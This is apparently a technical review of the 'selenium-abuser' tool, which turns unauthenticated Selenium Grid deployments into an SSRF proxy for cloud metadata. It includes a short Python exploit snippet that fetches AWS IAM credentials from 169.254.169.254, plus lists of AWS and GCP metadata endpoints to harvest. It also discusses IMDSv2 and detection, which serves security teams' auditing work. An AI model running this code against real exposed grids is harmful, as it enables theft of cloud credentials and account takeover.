Weaponizing Selenium Grid: How Browser Automation Becomes an SSRF Vector
Hook
Your CI/CD pipeline’s browser testing infrastructure might be handing attackers the keys to your entire AWS account—and traditional SSRF defenses won’t even notice.
Context
Selenium Grid has become ubiquitous in modern development workflows, enabling teams to run browser-based tests across multiple machines and browser configurations simultaneously. DevOps teams frequently deploy Selenium Grid in cloud environments to parallelize UI tests, often exposing the Grid’s web interface on port 4444 to allow CI/CD systems to submit test jobs. The problem? Many of these deployments skip authentication entirely, treating Selenium Grid as an internal service while accidentally exposing it to the public internet.
This creates a perfect storm when combined with cloud metadata services. AWS, GCP, and Azure all provide internal HTTP endpoints (like 169.254.169.254) that EC2 instances can query to retrieve configuration data, temporary credentials, and IAM role information. These endpoints are designed to be accessible only from within the instance itself—a protection model that assumes the instance’s network stack is trustworthy. But what happens when an attacker can command a full-fledged browser running on that instance? The selenium-abuser tool, created by security researcher random-robbie, demonstrates exactly this attack vector: turning browser automation infrastructure into a credential-stealing proxy.
Technical Insight
The genius of selenium-abuser lies in its simplicity. Rather than attempting complex SSRF payloads or protocol smuggling, it leverages the fact that Selenium Grid is literally designed to navigate to arbitrary URLs on command. The attack flow starts with a reconnaissance phase where the tool connects to an exposed Selenium Grid instance and spawns a Chrome browser session. It first navigates to ipinfo.io to determine whether the target is running in AWS, GCP, or another cloud provider based on the hosting organization.
Here’s the core exploitation code that demonstrates the metadata extraction:
from selenium import webdriver
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
def exploit_metadata(grid_url, metadata_endpoint):
driver = webdriver.Remote(
command_executor=grid_url,
desired_capabilities=DesiredCapabilities.CHROME
)
# Navigate to metadata service using the browser as SSRF proxy
driver.get(metadata_endpoint)
# Extract credentials from the page source
page_source = driver.page_source
driver.quit()
return page_source
# Example: Stealing AWS IAM role credentials
aws_creds_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
credentials = exploit_metadata("http://exposed-grid:4444/wd/hub", aws_creds_url)What makes this particularly insidious is that the browser’s request to 169.254.169.254 originates from the EC2 instance itself—completely legitimate from the metadata service’s perspective. Traditional SSRF defenses like URL filtering or DNS rebinding protections are bypassed because you’re not making the HTTP request directly; you’re instructing a browser automation framework to do it for you. The request headers, TLS fingerprint, and network origin all appear completely normal.
The tool systematically enumerates AWS metadata endpoints including /latest/meta-data/iam/security-credentials/ to extract temporary access keys, /latest/user-data/ for bootstrapping scripts that often contain hardcoded secrets, and /latest/meta-data/public-keys/ for SSH keys. For GCP instances, it targets http://metadata.google.internal/computeMetadata/v1/ endpoints with similar credential-harvesting goals. The extracted credentials typically have the same permissions as the IAM role assigned to the EC2 instance—which in many cases includes broad access to S3 buckets, RDS databases, and other AWS services.
The architectural vulnerability here extends beyond just Selenium Grid. Any exposed browser automation infrastructure (Puppeteer endpoints, Playwright servers, Chrome DevTools Protocol instances) presents similar risks. The fundamental issue is that browsers are incredibly powerful HTTP clients with no built-in concept of network boundaries. When you give an attacker remote control over a browser instance, you’ve essentially given them a fully-featured SSRF tool that can render JavaScript, follow redirects, handle authentication flows, and access any resource the host machine can reach.
One particularly clever aspect of the tool’s design is its use of driver.page_source to extract response bodies. Since metadata endpoints return plain text or JSON rather than rendered HTML, the Selenium WebDriver captures the raw response content. This means even though you’re driving a graphical browser, you get clean, parseable data—essentially turning Chrome into a command-line HTTP client with the network privileges of the host instance.
Gotcha
The tool’s biggest limitation is its inability to bypass AWS Instance Metadata Service Version 2 (IMDSv2), which Amazon introduced specifically to defend against SSRF attacks. IMDSv2 requires a two-step process: first, you must send a PUT request to /latest/api/token to obtain a session token, then include that token in an X-aws-ec2-metadata-token header for subsequent metadata requests. Since Selenium’s browser navigation API doesn’t provide a way to set custom HTTP headers (browsers set headers automatically), the tool cannot complete this handshake. Organizations that have migrated to IMDSv2 (or enforced it via HttpTokens=required) are immune to this specific attack vector.
Another practical limitation is detection surface. While the tool bypasses application-layer SSRF filters, it’s extremely noisy from a security monitoring perspective. Each exploitation attempt spawns browser processes, generates distinctive User-Agent strings, and creates obvious patterns in Selenium Grid logs showing requests to internal IP ranges. Any organization with basic logging on their Selenium Grid instances or VPC flow log analysis will spot this activity immediately. The tool is effective for bug bounty scenarios where the target organization isn’t actively monitoring, but it’s far from stealthy in mature security environments. Additionally, the tool assumes Chrome/Chromium is available on the target Grid—environments running only Firefox or Safari won’t work without modification.
Verdict
Use if: You’re conducting authorized penetration tests or bug bounty research and need to demonstrate the security impact of exposed automation infrastructure. This tool is excellent for proving to development teams that ‘internal’ services need authentication and network segmentation, and it’s particularly valuable for security teams auditing their own Selenium Grid deployments to understand attacker perspectives. It’s also useful as an educational tool for understanding how browser automation can be weaponized beyond its intended purpose. Skip if: You’re looking for a general-purpose SSRF testing framework (Burp Suite’s Collaborator or tools like ssrf-sheriff offer broader coverage), you need to test against hardened targets with IMDSv2 enabled, or you’re working in non-cloud environments where metadata services don’t exist. Also skip this if you need stealth—the tool’s approach is effective but extremely loud in logs. For comprehensive cloud security auditing, tools like ScoutSuite or Prowler provide better coverage of metadata service configurations without requiring exploitation.
